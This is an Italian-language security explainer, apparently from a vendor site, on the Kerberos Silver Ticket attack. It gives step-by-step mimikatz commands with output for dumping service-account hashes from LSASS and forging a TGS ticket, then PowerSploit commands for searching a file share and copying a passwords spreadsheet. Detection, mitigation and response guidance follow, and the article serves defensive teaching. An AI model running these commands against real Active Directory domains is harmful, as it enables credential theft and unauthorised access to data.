Attacco Silver Ticket
Simile nel concetto a un Golden Ticket, un attacco Silver Ticket comporta il compromettere credenziali e abusare del design del protocollo Kerberos. Tuttavia, a differenza di un Golden Ticket — che concede a un avversario accesso illimitato al dominio — un Silver Ticket permette all'attaccante di forgiare ticket-granting service (TGS) tickets per servizi specifici. I TGS tickets sono criptati con l'hash della password del servizio; quindi, se un avversario ruba l'hash per un account di servizio, possono creare TGS tickets per quel servizio. Sebbene l'ambito di un attacco Silver Ticket possa essere più ristretto, rimane comunque uno strumento potente nel kit di un avversario, che consente un accesso persistente e furtivo alle risorse. Poiché è richiesto solo l'hash della password dell'account di servizio, è anche significativamente più facile da eseguire rispetto a un attacco Golden Ticket. Tecniche come il raccolto di hash da LSASS.exe e il Kerberoasting sono modi comuni con cui gli avversari ottengono gli hash delle password degli account di servizio.
Sommario delle minacce
Target: Active Directory
Strumenti: mimikatz, impacket, PowerSploit
Tattica ATT&CK®: Accesso alle credenziali
Tecnica ATT&CK: T1558.002
Difficoltà
Rilevamento: Difficile
Mitigazione: Difficile
Risposta: Media
Tutorial sull'attacco: Come funziona un attacco Silver Ticket
PASSO 1
Compromettere le credenziali di un account di servizio
Per acquisire la capacità di coniare ticket TGS, un avversario deve prima compromettere l'hash della password di un account di servizio. In questo esempio, un avversario che ha compromesso un file server ora compromette l'hash della password di un account di servizio:
PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
# ... output truncated ... #
Authentication Id : 0 ; 29151002 (00000000:01bccf1a)
Session : Interactive from 5
User Name : DWM-5
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/07/2020 10:26:16
SID : S-1-5-90-0-5
msv :
[00000003] Primary
* Username : FileServer1$
* Domain : DOMAIN
* NTLM : 281fd98680ed31a9212256ada413db50
* SHA1 : c8fe518dfa728eb92eb2566328f0123e3bcb2717
# ... output truncated ... #
mimikatz(commandline) # exit
Bye!
PASSO 2
Forgiare ticket TGS di Kerberos
Strumenti come mimikatz possono essere utilizzati per generare Silver Tickets. Il processo per forgiare i ticket TGS è simile a quello per creare i Golden Tickets e, con mimikatz, si usa lo stesso metodo kerberos::golden, specificando l'hash della password dell'account di servizio invece del krbtgt, insieme ai seguenti parametri:
/domain— Il nome di dominio completo di Active Directory/sid— Il SID del dominio di Active Directory/usuario— Il nome utente da impersonare/target— Il nome di dominio completo del server di destinazione/servicio— Il nome del servizio bersaglio/rc4— L'hash della password NTLM/RC4
PS> .\mimikatz.exe "kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt" "misc::cmd" exit
mimikatz(commandline) # kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt
User : NonExistentUser
Domain : domain.com (DOMAIN)
SID : S-1-5-21-5840559-2756745051-1363507867
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 8fbe632c51039f92c21bcef456b31f2b - rc4_hmac_nt
Service : cifs
Target : FileServer1.domain.com
Lifetime : 27/07/2020 12:20:26 ; 25/07/2030 12:20:26 ; 25/07/2030 12:20:26
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session
mimikatz(commandline) # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7767043B8
mimikatz(commandline) # exit
Bye!
PASSO 3
Utilizza i biglietti falsificati per raggiungere ulteriori obiettivi
Nel passaggio precedente, l'avversario ha falsificato un silver ticket e lo ha iniettato in una nuova sessione di cmd.exe. Il Silver Ticket che l'attaccante ha coniato specificava il servizio cifs, che permetterà all'attaccante di utilizzare il TGS falsificato per accedere alle condivisioni di file. Poiché il TGS è falsificato, può essere creato per un utente che non esiste realmente nel dominio, rendendo più difficile per i soccorritori tracciare l'avversario. In questo esempio, l'avversario utilizza il biglietto falsificato e il cmdlet Find-InterestingFile del modulo PowerShell PowerSploit per scandagliare la condivisione di file alla ricerca di dati sensibili ed esfiltrarli.
PS> Find-InterestingFile -Path \\FileServer1.domain.com\S$\shares\
FullName : \\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx
Owner : DOMAIN\JOED
LastAccessTime : 27/07/2020 12:47:44
LastWriteTime : 27/07/2020 12:47:44
CreationTime : 10/04/2011 10:04:50
Length : 76859
PS> Copy-Item -Path "\\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx" -Destination "C:\Windows\Temp\a20ds3"
PS>
Rileva, Mitiga e Rispondi
Rileva
Difficoltà: Difficile
Il processo normale per ottenere un ticket di servizio per l'accesso prevede di chiedere a un controller di dominio di generarne uno. Dopo che il richiedente dimostra la propria identità, il controller di dominio risponderà con un TGS criptato con la password dell'account di servizio. Ma poiché l'avversario ha compromesso quella password, può creare ticket TGS senza comunicare con il controller di dominio. Pertanto, rilevare i Silver Tickets è possibile solo sull'endpoint e comporta l'esame dei ticket TGS alla ricerca di segni sottili di manipolazione, come:
- Nomi utente che non esistono
- Modifiche (aggiunte o rimozioni) dei membri dei gruppi
- Discordanze tra nome utente e ID
- Tipi di crittografia più deboli del normale o durate dei ticket che superano il massimo del dominio (la durata predefinita del dominio è di 10 ore; quella predefinita di mimikatz è di 10 anni)
Il registro eventi di Windows ha diversi eventi di controllo utili per rilevare Silver Tickets:
Evento
Fonte
Informazioni
Verifica l'appartenenza al gruppo: Event ID 4627
Computer membri
- Identificatore di sicurezza (SID) dell'utente
- Appartenenze ai gruppi
Audit Logon: ID evento 4624
Computer membri
- Identificatore di sicurezza (SID) dell'utente
- Nome utente
- IP sorgente (che indica un host potenzialmente compromesso)
Mitigare
Difficoltà: Media
Poiché l'abuso dei Silver Tickets sfrutta il protocollo Kerberos, il rischio del loro utilizzo non può essere completamente eliminato. Tuttavia, esistono diverse mitigazioni che possono rendere più difficile per un avversario compromettere gli hash delle password degli account di servizio.
- Adottare pratiche di igiene delle password forti per gli account di servizio: Le loro password dovrebbero essere generate casualmente, avere un minimo di 30 caratteri e essere cambiate regolarmente.
- Abilita PAC Validation. Anche se presenta delle limitazioni note, ci sono alcune situazioni in cui può aiutare nella rilevazione e prevenzione dei Silver tickets.
- Rimuovi i privilegi amministrativi degli utenti finali sulle workstation dei membri e adotta soluzioni controllate di elevazione dei privilegi.
- Riduci l'accesso amministrativo alle workstation e ai server dei membri al minimo necessario.
- Utilizza soluzioni come Microsoft LAPS per creare password forti, casuali e uniche per gli account amministratori locali e per ruotarle automaticamente in modo periodico.
- Applica le mitigazioni raccomandate per il Kerberoasting.
- Non consentire agli utenti di possedere privilegi amministrativi attraverso i confini di sicurezza. Ad esempio, un avversario che inizialmente compromette una postazione di lavoro non dovrebbe essere in grado di elevare i privilegi per passare dalla postazione di lavoro a un server o a un controller di dominio.
Rispondi
Difficoltà: Media
Se viene rilevato un Silver Ticket, si dovrebbero intraprendere le seguenti azioni di risposta:
- Attiva il processo di risposta agli incidenti e allerta il team di risposta agli incidenti.
- Metti in quarantena tutti i computer implicati per indagini forensi e attività di eradicazione e recupero.
- Reimposta la password dell'account di servizio compromesso.
Condividi su
Visualizza attacchi informatici correlati
Abuso dei permessi dell'applicazione Entra ID – Come funziona e strategie di difesa
Modifica di AdminSDHolder – Come funziona e strategie di difesa
Attacco AS-REP Roasting - Come Funziona e Strategie di Difesa
Attacco Hafnium - Come funziona e strategie di difesa
Spiegazione degli attacchi DCSync: minaccia alla sicurezza di Active Directory
Attacco Pass the Hash
Comprendere gli attacchi Golden Ticket
Attacco agli Account di Servizio Gestiti di Gruppo
Attacco DCShadow – Come Funziona, Esempi Reali e Strategie di Difesa
ChatGPT Prompt Injection: Comprensione dei rischi, esempi e prevenzione
Attacco di estrazione password NTDS.dit
Attacco Kerberoasting – Come Funziona e Strategie di Difesa
Spiegazione dell'attacco Pass-the-Ticket: Rischi, Esempi e Strategie di Difesa
Attacco di Password Spraying
Attacco di estrazione di password in chiaro
Spiegazione della vulnerabilità Zerologon: Rischi, exploit e mitigazione
Attacchi ransomware di Active Directory
Sbloccare Active Directory con l'attacco Skeleton Key
Movimento laterale: cos'è, come funziona e prevenzioni
Attacchi Man-in-the-Middle (MITM): cosa sono e come prevenirli
Perché PowerShell è così popolare tra gli aggressori?
4 attacchi agli account di servizio e come proteggersi
Come prevenire gli attacchi malware che impattano sulla tua azienda
Cos'è il Credential Stuffing?
Compromettere SQL Server con PowerUpSQL
Cosa sono gli attacchi di Mousejacking e come difendersi
Rubare credenziali con un Security Support Provider (SSP)
Attacchi con Rainbow Table: Come Funzionano e Come Difendersi
Uno sguardo approfondito agli attacchi alle password e come fermarli
Ricognizione LDAP
Bypassare MFA con l'attacco Pass-the-Cookie
Attacco Golden SAML